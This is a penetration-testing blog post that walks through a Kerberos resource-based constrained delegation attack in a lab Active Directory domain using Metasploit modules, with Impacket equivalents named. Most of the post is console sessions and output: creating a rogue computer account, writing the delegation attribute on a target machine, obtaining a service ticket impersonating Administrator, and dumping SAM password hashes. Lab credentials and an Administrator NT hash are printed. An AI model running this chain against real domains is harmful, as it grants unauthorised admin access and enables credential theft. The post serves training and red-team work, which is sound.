Metasploit recently released version 6.3. With it came a whole lot of new features related to LDAP operations and using Kerberos authentication.
In this blog I want to demonstrate how to perform a GenericWrite -> RBCD attack, which I find are very common. Often times a user will not have administrative access to a computer, but will have GenericWrite privileges or equivalent (GenericAll,Owns,etc), over a computer. By exploiting this configuration it is possible to gain admin access on the computer. There are two main ways to perform this attack currently, either by using a combination of Rubeus/Powermad/Powerview, or by using various scripts within Impacket.
To explain some of the new features, I will compare the modules within Metasploit to their Impacket counterparts.
First, to perform this attack you will need a computer account. If you do not have one under your control already, you will need to create one. In Impacket we would use addcomputer.py, but here we will use auxiliary/admin/dcerpc/samr_computer.
msf6 auxiliary(admin/dcerpc/samr_computer)> show options Module options (auxiliary/admin/dcerpc/samr_computer): Name Current Setting Required Description ---- --------------- -------- ----------- COMPUTER_NAME no The computer name RHOSTS 172.16.73.6 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain n00py.local no The Windows domain to use for authentication SMBPass Password1 no The password for the specified username SMBUser n00py no The username to authenticate as When ACTION is ADD_COMPUTER: Name Current Setting Required Description ---- --------------- -------- ----------- COMPUTER_PASSWORD no The password for the new computer Auxiliary action: Name Description ---- ----------- ADD_COMPUTER Add a computer account View the full module info with the info, or info -d command. msf6 auxiliary(admin/dcerpc/samr_computer) > run [*] Running module against 172.16.73.6 [+] 172.16.73.6:445 - Successfully created n00py.local\DESKTOP-MKFA61G6$ [+] 172.16.73.6:445 - Password: 7TH6BPcPqXo5OLTIy3XJbwS77d3VPhyj [+] 172.16.73.6:445 - SID: S-1-5-21-3387312503-3460017432-368973690-1135 [*] Auxiliary module execution completed
Once you have obtained a new computer account, we then have to configure delegation rights on the victim computer. With Impacket we would use rbcd.py, but here we will use auxiliary/admin/ldap/rbcd.
msf6 auxiliary(admin/ldap/rbcd) > show options Module options (auxiliary/admin/ldap/rbcd): Name Current Setting Required Description ---- --------------- -------- ----------- DELEGATE_FROM DESKTOP-MKFA61G6$ no The delegation source DELEGATE_TO WIN-27M967MQJL4$ yes The delegation target DOMAIN n00py.local no The domain to authenticate to PASSWORD Password1 no The password to authenticate with RHOSTS 172.16.73.6 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 389 yes The target port SSL false no Enable SSL on the LDAP connection USERNAME n00py no The username to authenticate with View the full module info with the info, or info -d command. msf6 auxiliary(admin/ldap/rbcd) > read [*] Running module against 172.16.73.6 [+] Successfully bound to the LDAP server! [*] Discovering base DN automatically [*] 172.16.73.6:389 Getting root DSE [+] 172.16.73.6:389 Discovered base DN: DC=n00py,DC=local [*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty. [*] Auxiliary module execution completed msf6 auxiliary(admin/ldap/rbcd) > write [*] Running module against 172.16.73.6 [+] Successfully bound to the LDAP server! [*] Discovering base DN automatically [*] 172.16.73.6:389 Getting root DSE [+] 172.16.73.6:389 Discovered base DN: DC=n00py,DC=local [+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. [*] Added account: [*] S-1-5-21-3387312503-3460017432-368973690-1135 (DESKTOP-MKFA61G6$) [*] Auxiliary module execution completed msf6 auxiliary(admin/ldap/rbcd) > read [*] Running module against 172.16.73.6 [+] Successfully bound to the LDAP server! [*] Discovering base DN automatically [*] 172.16.73.6:389 Getting root DSE [+] 172.16.73.6:389 Discovered base DN: DC=n00py,DC=local [*] Allowed accounts: [*] S-1-5-21-3387312503-3460017432-368973690-1135 (DESKTOP-MKFA61G6$) [*] Auxiliary module execution completed
Once we have configured delegation, we can then request a service ticket for any user. With Impacket we would use getST.py, but here we will use auxiliary/admin/kerberos/get_ticket. We will want to use the final service ticket saved by Metasploit.
msf6 auxiliary(admin/kerberos/get_ticket) > show options Module options (auxiliary/admin/kerberos/get_ticket): Name Current Setting Required Description ---- --------------- -------- ----------- AES_KEY no The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits CERT_FILE no The PKCS12 (.pfx) certificate file to authenticate with CERT_PASSWORD no The certificate file's password DOMAIN n00py.local no The Fully Qualified Domain Name (FQDN). Ex: mydomain.local NTHASH no The NT hash in hex string. Server must support RC4 PASSWORD 7TH6BPcPqXo5OLTIy3XJbwS77d3VPhyj no The domain user's password RHOSTS 172.16.73.6 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 88 yes The target port Timeout 10 yes The TCP timeout to establish Kerberos connection and read data USERNAME DESKTOP-MKFA61G6$ no The domain user When ACTION is GET_TGS: Name Current Setting Required Description ---- --------------- -------- ----------- IMPERSONATE Administrator no The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket) SPN CIFS/WIN-27M967MQJL4.n00py.local no The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local Auxiliary action: Name Description ---- ----------- GET_TGS Request a Ticket-Granting-Service (TGS) View the full module info with the info, or info -d command. msf6 auxiliary(admin/kerberos/get_ticket) > set verbose true verbose => true msf6 auxiliary(admin/kerberos/get_ticket) > run [*] Running module against 172.16.73.6 [+] 172.16.73.6:88 - Received a valid TGT-Response [*] 172.16.73.6:88 - TGT MIT Credential Cache ticket saved to /root/.msf4/loot/20230130152544_default_172.16.73.6_mit.kerberos.cca_994901.bin [*] 172.16.73.6:88 - Getting TGS impersonating Administrator@n00py.local (SPN: CIFS/WIN-27M967MQJL4.n00py.local) [+] 172.16.73.6:88 - Received a valid TGS-Response [*] 172.16.73.6:88 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20230130152544_default_172.16.73.6_mit.kerberos.cca_606526.bin [+] 172.16.73.6:88 - Received a valid TGS-Response [*] 172.16.73.6:88 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20230130152544_default_172.16.73.6_mit.kerberos.cca_662784.bin [*] Auxiliary module execution completed
Finally, once we have this ticket we can then perform admin actions on the target. Typically a pentester would use Impacket’s secretsdump.py or CrackMapExec (which is the same thing under the hood), to recover credentials off of the system. We can use Metasploit’s auxiliary/gather/windows_secrets_dump module to do this instead, and is the equivalent to running both –sam and –lsa in CrackMapExec. The only tricky part here is making it work with Kerberos authentication which requires going into the advanced options.
msf6 auxiliary(gather/windows_secrets_dump) > show options Module options (auxiliary/gather/windows_secrets_dump): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 172.16.73.12 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain n00py.local no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser Administrator no The username to authenticate as Auxiliary action: Name Description ---- ----------- ALL Dump everything View the full module info with the info, or info -d command. msf6 auxiliary(gather/windows_secrets_dump) > show advanced Module advanced options (auxiliary/gather/windows_secrets_dump): Name Current Setting Required Description ---- --------------- -------- ----------- [TRUNCATED] SMB::Auth kerberos yes The Authentication mechanism to use (Accepted: auto, ntlm, kerberos) [TRUNCATED] Active when SMB::Auth is kerberos: Name Current Setting Required Description ---- --------------- -------- ----------- DomainControllerRhost WIN-NDA9607EHKS.n00py.local no The resolvable rhost for the Domain Controller KrbCacheMode read-write yes Kerberos ticket cache storage mode (Accepted: none, read-only, write-only, read-write) SMB::Krb5Ccname /root/.msf4/loot/20230130152544_default_172.16.73.6_mit.kerberos.cca_662784.bin no The ccache file to use for kerberos authentication SMB::KrbOfferedEncryptionTypes AES256,AES128,RC4-HMAC,DES-CBC-MD5,DES3-CBC-SHA1 yes Kerberos encryption types to offer SMB::Rhostname WIN-27M967MQJL4.n00py.local no The rhostname which is required for kerberos - the SPN View the full module info with the info, or info -d command. msf6 auxiliary(gather/windows_secrets_dump) > run [*] Running module against 172.16.73.12 [*] 172.16.73.12:445 - Opening Service Control Manager [*] 172.16.73.12:445 - Binding to \svcctl... [+] 172.16.73.12:445 - Bound to \svcctl [*] 172.16.73.12:445 - Service RemoteRegistry is in stopped state [*] 172.16.73.12:445 - Starting service... [*] 172.16.73.12:445 - Retrieving target system bootKey [*] 172.16.73.12:445 - Retrieving class info for SYSTEM\CurrentControlSet\Control\Lsa\JD [*] 172.16.73.12:445 - Retrieving class info for SYSTEM\CurrentControlSet\Control\Lsa\Skew1 [*] 172.16.73.12:445 - Retrieving class info for SYSTEM\CurrentControlSet\Control\Lsa\GBG [*] 172.16.73.12:445 - Retrieving class info for SYSTEM\CurrentControlSet\Control\Lsa\Data [+] 172.16.73.12:445 - bootKey: 0x1a9c42b4c664bb5ab1c699858559fc76 [*] 172.16.73.12:445 - Checking NoLMHash policy [*] 172.16.73.12:445 - LMHashes are not being stored [*] 172.16.73.12:445 - Saving remote SAM database [*] 172.16.73.12:445 - Create SAM key [*] 172.16.73.12:445 - Save key to PUnE0CMU.tmp [*] 172.16.73.12:445 - Dumping SAM hashes [*] 172.16.73.12:445 - Calculating HashedBootKey from SAM [*] 172.16.73.12:445 - Password hints: No users with password hints on this system [*] 172.16.73.12:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::): Administrator:500:aad3b435b51404eeaad3b435b51404ee:b0abb98152c261c4c23429ed9eecc117::: [TRUNCATED] [*] Auxiliary module execution completed
Sweet, creds! This just a lab system, but were it a live target we would likely find quite a few juicy credentials we could re-use elsewhere. There are of course a lot more post-exploitation options you could perform with Metasploit, but the goal here is just to demonstrate how to use modules with a service ticket and Kerberos authentication.
Will this replace Impacket for me? Not likely, but I’m always a fan of having more tools in my toolbox.